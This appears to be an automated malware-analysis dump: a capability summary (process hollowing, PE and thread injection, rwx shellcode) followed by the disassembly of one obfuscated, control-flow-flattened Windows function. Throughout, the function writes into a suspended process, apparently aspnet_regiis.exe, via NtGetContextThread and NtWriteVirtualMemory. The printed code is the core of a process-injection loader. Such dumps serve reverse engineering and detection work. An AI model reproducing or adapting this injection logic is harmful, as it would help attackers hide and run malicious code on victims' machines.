Function at 0x10007650
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x14c
mov eax, dword [0x1006ca04]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x154], 0xeaa6154b
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x158], eax
sub eax, 0x80214ce0
je 0x1000e19e
jmp 0x1000768c
mov eax, dword [ebp - 0x158]
sub eax, 0x8022c71c
je 0x1000afc3
jmp 0x100076a2
mov eax, dword [ebp - 0x158]
sub eax, 0x813215ea
je 0x1000c422
jmp 0x100076b8
mov eax, dword [ebp - 0x158]
sub eax, 0x817c3810
je 0x1000a564
jmp 0x100076ce
mov eax, dword [ebp - 0x158]
sub eax, 0x831b1b4d
je 0x100093c2
jmp 0x100076e4
mov eax, dword [ebp - 0x158]
sub eax, 0x839ea524
je 0x1000d034
jmp 0x100076fa
mov eax, dword [ebp - 0x158]
sub eax, 0x850b1efb
je 0x1000e425
jmp 0x10007710
mov eax, dword [ebp - 0x158]
sub eax, 0x869638e5
je 0x1000b22b
jmp 0x10007726
mov eax, dword [ebp - 0x158]
sub eax, 0x86b2f23f
je 0x1000ed4b
jmp 0x1000773c
mov eax, dword [ebp - 0x158]
sub eax, 0x86c7c279
je 0x1000ab08
jmp 0x10007752
mov eax, dword [ebp - 0x158]
sub eax, 0x86dc8213
je 0x1000a13f
jmp 0x10007768
mov eax, dword [ebp - 0x158]
sub eax, 0x8720cb30
je 0x1000b941
jmp 0x1000777e
mov eax, dword [ebp - 0x158]
sub eax, 0x88ff522e
je 0x1000d652
jmp 0x10007794
mov eax, dword [ebp - 0x158]
sub eax, 0x89827781
je 0x1000c327
jmp 0x100077aa
mov eax, dword [ebp - 0x158]
sub eax, 0x8aaa3512
je 0x1000a5ef
jmp 0x100077c0
mov eax, dword [ebp - 0x158]
sub eax, 0x8bd3b73f
je 0x10009744
jmp 0x100077d6
mov eax, dword [ebp - 0x158]
sub eax, 0x8c6733df
je 0x1000a29a
jmp 0x100077ec
mov eax, dword [ebp - 0x158]
sub eax, 0x8cefe651
je 0x1000ef6e
jmp 0x10007802
mov eax, dword [ebp - 0x158]
sub eax, 0x8d5f3406
je 0x1000d8fe
jmp 0x10007818
mov eax, dword [ebp - 0x158]
sub eax, 0x8df265e8
je 0x1000c5a9
jmp 0x1000782e
mov eax, dword [ebp - 0x158]
sub eax, 0x8e17980e
je 0x1000cb6b
jmp 0x10007844
mov eax, dword [ebp - 0x158]
sub eax, 0x8ed3692e
je 0x1000ea2b
jmp 0x1000785a
mov eax, dword [ebp - 0x158]
sub eax, 0x8f1795d4
je 0x1000cec4
jmp 0x10007870
mov eax, dword [ebp - 0x158]
sub eax, 0x8f9e6b28
je 0x1000bd98
jmp 0x10007886
mov eax, dword [ebp - 0x158]
sub eax, 0x8fa737f0
je 0x1000a068
jmp 0x1000789c
mov eax, dword [ebp - 0x158]
sub eax, 0x9158974d
je 0x1000a6b5
jmp 0x100078b2
mov eax, dword [ebp - 0x158]
sub eax, 0x91811674
je 0x1000eed0
jmp 0x100078c8
mov eax, dword [ebp - 0x158]
sub eax, 0x921c58ff
je 0x1000a390
jmp 0x100078de
mov eax, dword [ebp - 0x158]
sub eax, 0x93f971b6
je 0x1000eeb2
jmp 0x100078f4
mov eax, dword [ebp - 0x158]
sub eax, 0x943f4005
je 0x1000d88f
jmp 0x1000790a
mov eax, dword [ebp - 0x158]
sub eax, 0x94473edf
je 0x1000ed1e
jmp 0x10007920
mov eax, dword [ebp - 0x158]
sub eax, 0x9462c746
je 0x1000f292
jmp 0x10007936
mov eax, dword [ebp - 0x158]
sub eax, 0x94ac04a6
je 0x1000eab0
jmp 0x1000794c
mov eax, dword [ebp - 0x158]
sub eax, 0x96668499
je 0x1000b6dc
jmp 0x10007962
mov eax, dword [ebp - 0x158]
sub eax, 0x96d91a68
je 0x1000e8c6
jmp 0x10007978
mov eax, dword [ebp - 0x158]
sub eax, 0x98b35f03
je 0x1000b8a0
jmp 0x1000798e
mov eax, dword [ebp - 0x158]
sub eax, 0x9bdfe6c9
je 0x10009687
jmp 0x100079a4
mov eax, dword [ebp - 0x158]
sub eax, 0x9c2fe2a3
je 0x1000bcc0
jmp 0x100079ba
mov eax, dword [ebp - 0x158]
sub eax, 0x9c5cc47f
je 0x1000a856
jmp 0x100079d0
mov eax, dword [ebp - 0x158]
sub eax, 0x9d87e936
je 0x1000cca7
jmp 0x100079e6
mov eax, dword [ebp - 0x158]
sub eax, 0x9dc1e478
je 0x1000cf58
jmp 0x100079fc
mov eax, dword [ebp - 0x158]
sub eax, 0x9f293ac4
je 0x1000c88a
jmp 0x10007a12
mov eax, dword [ebp - 0x158]
sub eax, 0x9f3a86d2
je 0x1000be16
jmp 0x10007a28
mov eax, dword [ebp - 0x158]
sub eax, 0xa0b524c2
je 0x1000e4d7
jmp 0x10007a3e
mov eax, dword [ebp - 0x158]
sub eax, 0xa13f721d
je 0x1000bdf8
jmp 0x10007a54
mov eax, dword [ebp - 0x158]
sub eax, 0xa32dd724
je 0x1000e075
jmp 0x10007a6a
mov eax, dword [ebp - 0x158]
sub eax, 0xa3f15977
je 0x1000b410
jmp 0x10007a80
mov eax, dword [ebp - 0x158]
sub eax, 0xa4afbb7d
je 0x1000ef5f
jmp 0x10007a96
mov eax, dword [ebp - 0x158]
sub eax, 0xa649bc2a
je 0x1000c120
jmp 0x10007aac
mov eax, dword [ebp - 0x158]
sub eax, 0xa7a7c9a5
je 0x1000ed3c
jmp 0x10007ac2
mov eax, dword [ebp - 0x158]
sub eax, 0xa7b1bdf4
je 0x1000e0fa
jmp 0x10007ad8
mov eax, dword [ebp - 0x158]
sub eax, 0xa7dca037
je 0x1000b7c8
jmp 0x10007aee
mov eax, dword [ebp - 0x158]
sub eax, 0xa84dea14
je 0x1000e057
jmp 0x10007b04
mov eax, dword [ebp - 0x158]
sub eax, 0xaa7e7813
je 0x1000e3c7
jmp 0x10007b1a
mov eax, dword [ebp - 0x158]
sub eax, 0xab1b94ba
je 0x1000d7f7
jmp 0x10007b30
mov eax, dword [ebp - 0x158]
sub eax, 0xabcd457e
je 0x1000e214
jmp 0x10007b46
mov eax, dword [ebp - 0x158]
sub eax, 0xabe16343
je 0x10009636
jmp 0x10007b5c
mov eax, dword [ebp - 0x158]
sub eax, 0xac442b3f
je 0x1000ed86
jmp 0x10007b72
mov eax, dword [ebp - 0x158]
sub eax, 0xac54d07a
je 0x1000b1bd
jmp 0x10007b88
mov eax, dword [ebp - 0x158]
sub eax, 0xac5cd939
je 0x100095b9
jmp 0x10007b9e
mov eax, dword [ebp - 0x158]
sub eax, 0xadcd3683
je 0x1000b36e
jmp 0x10007bb4
mov eax, dword [ebp - 0x158]
sub eax, 0xadcef4cb
je 0x1000d3e4
jmp 0x10007bca
mov eax, dword [ebp - 0x158]
sub eax, 0xae9cc121
je 0x1000c056
jmp 0x10007be0
mov eax, dword [ebp - 0x158]
sub eax, 0xaefa3844
je 0x1000bb24
jmp 0x10007bf6
mov eax, dword [ebp - 0x158]
sub eax, 0xb05e2ab9
je 0x1000a72f
mov ecx, dword [0x1006dc88]
mov eax, dword [0x1006dc84]
mov edx, ecx
sub edx, 0x70491ce2
sub edx, 1
add edx, 0x70491ce2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5493379b
mov ecx, 0x4cdeebdf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000f2b1
mov ecx, dword [0x1006dc88]
mov eax, dword [0x1006dc84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x55c1bfb7
mov ecx, 0x723f2789
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000f2b1
mov eax, dword [0x1006dc88]
mov ecx, dword [0x1006dc84]
mov edx, eax
sub edx, 0x963afcab
sub edx, 1
add edx, 0x963afcab
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7ef96003
mov ecx, 0x9bdfe6c9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000f2b1
push eax
mov eax, esp
mov dword [ebp - 0x128], eax
push eax
mov eax, esp
mov dword [ebp - 0x124], eax
push eax
mov eax, esp
mov dword [ebp - 0x120], eax
push eax
mov eax, esp
mov dword [ebp - 0x11c], eax
push eax
mov eax, esp
mov dword [ebp - 0x118], eax
push eax
mov eax, esp
mov dword [ebp - 0x114], eax
push eax
mov eax, esp
mov dword [ebp - 0x110], eax
push eax
mov eax, esp
mov dword [ebp - 0x10c], eax
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
push eax
mov eax, esp
mov dword [ebp - 0x100], eax
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
mov eax, dword [0x1006dc88]
mov ecx, dword [0x1006dc84]
mov edx, eax
sub edx, 0xe14ec59
sub edx, 1
add edx, 0xe14ec59
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7ef96003
mov ecx, 0x8bd3b73f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000f2b1
mov dword [ebp - 0x154], 0xc259741b
jmp 0x1000f2b1
mov eax, dword [ebp - 0xc0]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x140]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.100109e0
add esp, 0xc
mov eax, dword [ebp - 0x13c]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.100109e0
add esp, 0xc
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0xbc], eax
mov ecx, dword [0x1006dc88]
mov eax, dword [0x1006dc84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x850b1efb
mov ecx, 0x86dc8213
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000f2b1
mov dword [ebp - 0x154], 0xe1d9f618
jmp 0x1000f2b1
mov ecx, dword [0x1006dc88]
mov eax, dword [0x1006dc84]
mov edx, ecx
add edx, 0x12b9f922
sub edx, 1
sub edx, 0x12b9f922
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3edf3bf1
mov ecx, 0xfc797c42
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000f2b1
mov eax, dword [ebp - 0x134]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x154], 0xf824ab4e
jmp 0x1000f2b1
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0x140]
mov eax, dword [eax + 4]
mov dword [ebp - 0xb0], eax
mov ecx, dword [0x1006dc88]
mov eax, dword [0x1006dc84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5a2774ef
mov ecx, 0x8aaa3512
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000f2b1
mov dword [ebp - 0x154], 0xc919ad49
jmp 0x1000f2b1
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0xb0]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtGetContextThread
cmp eax, 0
setge al
and al, 1
mov byte [ebp - 0xa9], al
mov eax, dword [0x1006dc88]
mov ecx, dword [0x1006dc84]
mov edx, eax
add edx, 0x6b57c74
sub edx, 1
sub edx, 0x6b57c74
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5720725d
mov ecx, 0xb05e2ab9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000f2b1
mov ecx, dword [0x1006dc88]
mov eax, dword [0x1006dc84]
mov edx, ecx
sub edx, 0x19b7d03d
sub edx, 1
add edx, 0x19b7d03d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2d71ca01
mov ecx, 0x4b021c7f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000f2b1
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x14c]
mov edx, dword [ebp - 0x12c]
mov edx, dword [edx]
mov esi, dword [ebp - 0x140]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x14c]
mov ecx, dword [ebp - 0x150]
add eax, dword [ecx + 0x3c]
add eax, 4
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x154], 0x2253b6b
jmp 0x1000f2b1
mov dl, byte [ebp - 0x91]
mov eax, 0xfb34841a
mov ecx, 0xba7eca0a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000f2b1
mov ecx, dword [0x1006dc88]
mov eax, dword [0x1006dc84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc4a9d8ed
mov ecx, 0x869638e5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000f2b1
mov ecx, dword [0x1006dc88]
mov eax, dword [0x1006dc84]
mov edx, ecx
sub edx, 0x9a5d462
sub edx, 1
add edx, 0x9a5d462
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb74b824b
mov ecx, 0x8f8d3c5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000f2b1
mov eax, dword [0x1006dc88]
mov ecx, dword [0x1006dc84]
mov edx, eax
sub edx, 0x73a8fb45
sub edx, 1
add edx, 0x73a8fb45
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbd568d93
mov ecx, 0x20c8b3c0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000f2b1
mov dword [ebp - 0x154], 0xb40cee32
jmp 0x1000f2b1
mov ecx, dword [0x1006dc88]
mov eax, dword [0x1006dc84]
mov edx, ecx
add edx, 0x7d4fbbce
sub edx, 1
sub edx, 0x7d4fbbce
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfeffba30
mov ecx, 0xf7288da9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000f2b1
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x7c], eax
mov ecx, dword [0x1006dc88]
mov eax, dword [0x1006dc84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe5f3a5db
mov ecx, 0xfd4586a5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000f2b1
mov dword [ebp - 0x154], 0xd85d7627
jmp 0x1000f2b1
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x10c]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x14c]
mov edx, dword [ebp - 0x11c]
mov edx, dword [edx]
mov esi, dword [ebp - 0x10c]
imul esi, dword [esi], 0x28
add edx, esi
mov esi, dword [edx + 0x14]
xor edx, edx
sub edx, esi
sub ecx, edx
mov edx, dword [ebp - 0x12c]
mov edx, dword [edx]
mov esi, dword [ebp - 0x11c]
mov esi, dword [esi]
mov edi, dword [ebp - 0x10c]
imul edi, dword [edi], 0x28
add esi, edi
mov esi, dword [esi + 0xc]
sub edx, 0xf8f7e841
add edx, esi
add edx, 0xf8f7e841
mov esi, dword [ebp - 0x140]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x11c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x10c]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10006fe0
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0x108]
mov dword [eax], ecx
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x11c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x10c]
imul edx, dword [edx], 0x28
add ecx, edx
cmp eax, dword [ecx + 0xc]
setae al
and al, 1
mov byte [ebp - 0x76], al
mov ecx, dword [0x1006dc88]
mov eax, dword [0x1006dc84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4e8e6d37
mov ecx, 0x314c71a3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000f2b1
mov ecx, dword [0x1006dc88]
mov eax, dword [0x1006dc84]
mov edx, ecx
sub edx, 0x7e6ebf24
sub edx, 1
add edx, 0x7e6ebf24
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x93f971b6
mov ecx, 0x6ff69964
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000f2b1
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x11c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x10c]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0xc]
mov edx, dword [ebp - 0x108]
mov esi, dword [edx]
xor edx, edx
sub edx, esi
sub ecx, edx
cmp eax, ecx
setbe al
and al, 1
mov byte [ebp - 0x75], al
mov eax, dword [0x1006dc88]
mov ecx, dword [0x1006dc84]
mov edx, eax
add edx, 0x78c22218
sub edx, 1
sub edx, 0x78c22218
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x793b1b5c
mov ecx, 0x4f8947c6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000f2b1
mov eax, dword [0x1006dc88]
mov ecx, dword [0x1006dc84]
mov edx, eax
add edx, 0xb42a5ec5
sub edx, 1
sub edx, 0xb42a5ec5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x91811674
mov ecx, 0x4d3590cd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000f2b1
mov dl, byte [ebp - 0x75]
mov eax, 0xd761ab31
mov ecx, 0x9f3a86d2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000f2b1
mov eax, dword [ebp - 0x14c]
mov ecx, dword [ebp - 0x11c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x10c]
imul edx, dword [edx], 0x28
add ecx, edx
add eax, dword [ecx + 0x14]
mov ecx, dword [ebp - 0x110]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x11c]
mov edx, dword [edx]
mov esi, dword [ebp - 0x10c]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0xc]
sub ecx, 0x39dec9bc
sub ecx, edx
add ecx, 0x39dec9bc
add eax, ecx
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x154], 0xd8f092ab
jmp 0x1000f2b1
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x154], 0xeda71477
jmp 0x1000f2b1
mov dl, byte [ebp - 0x69]
mov eax, 0xc0c39d71
mov ecx, 0xb16c19ce
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000f2b1
mov dword [ebp - 0x154], 0xf0e55ff8
jmp 0x1000f2b1
mov dl, byte [ebp - 0x5e]
mov eax, 0xc0c39d71
mov ecx, 0x33747bf1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000f2b1
mov dword [ebp - 0x154], 0x19fd0a63
jmp 0x1000f2b1
mov ecx, dword [0x1006dc88]
mov eax, dword [0x1006dc84]
mov edx, ecx
sub edx, 0x60474fc2
sub edx, 1
add edx, 0x60474fc2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb3a37eaa
mov ecx, 0x1eda056b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000f2b1
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xf8]
mov ecx, dword [ecx]
mov ax, word [eax + ecx*2]
mov word [ebp - 0x50], ax
mov dword [ebp - 0x154], 0x9456271
jmp 0x1000f2b1
mov eax, dword [0x1006dc88]
mov ecx, dword [0x1006dc84]
mov edx, eax
sub edx, 0x7b2bfe86
sub edx, 1
add edx, 0x7b2bfe86
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x54a082e9
mov ecx, 0xb4edebf1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000f2b1
mov dl, byte [ebp - 0x41]
mov eax, 0x839ea524
mov ecx, 0xe07692bc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000f2b1
mov eax, dword [ebp - 0xfc]
mov edx, dword [eax]
mov eax, dword [ebp - 0xf0]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xf0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
mov eax, dword [0x1006dc88]
mov ecx, dword [0x1006dc84]
mov edx, eax
add edx, 0xea096be0
sub edx, 1
sub edx, 0xea096be0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x766d95cf
mov ecx, 0x7bb106b6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000f2b1
mov dword [ebp - 0x154], 0xf91e990c
jmp 0x1000f2b1
mov ecx, dword [0x1006dc88]
mov eax, dword [0x1006dc84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4b7dd7af
mov ecx, 0xe93f454c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000f2b1
mov ecx, dword [ebp - 0x2c]
add ecx, 0x19f7594b
add ecx, 8
sub ecx, 0x19f7594b
mov eax, dword [ebp - 0x140]
mov edx, dword [eax]
mov eax, dword [ebp - 0x12c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x148]
mov edx, dword [eax]
mov eax, 0xd0d50de5
mov ecx, 0x4ff607be
cmp dword [edx + 0xc4], 0
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000f2b1
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x25], al
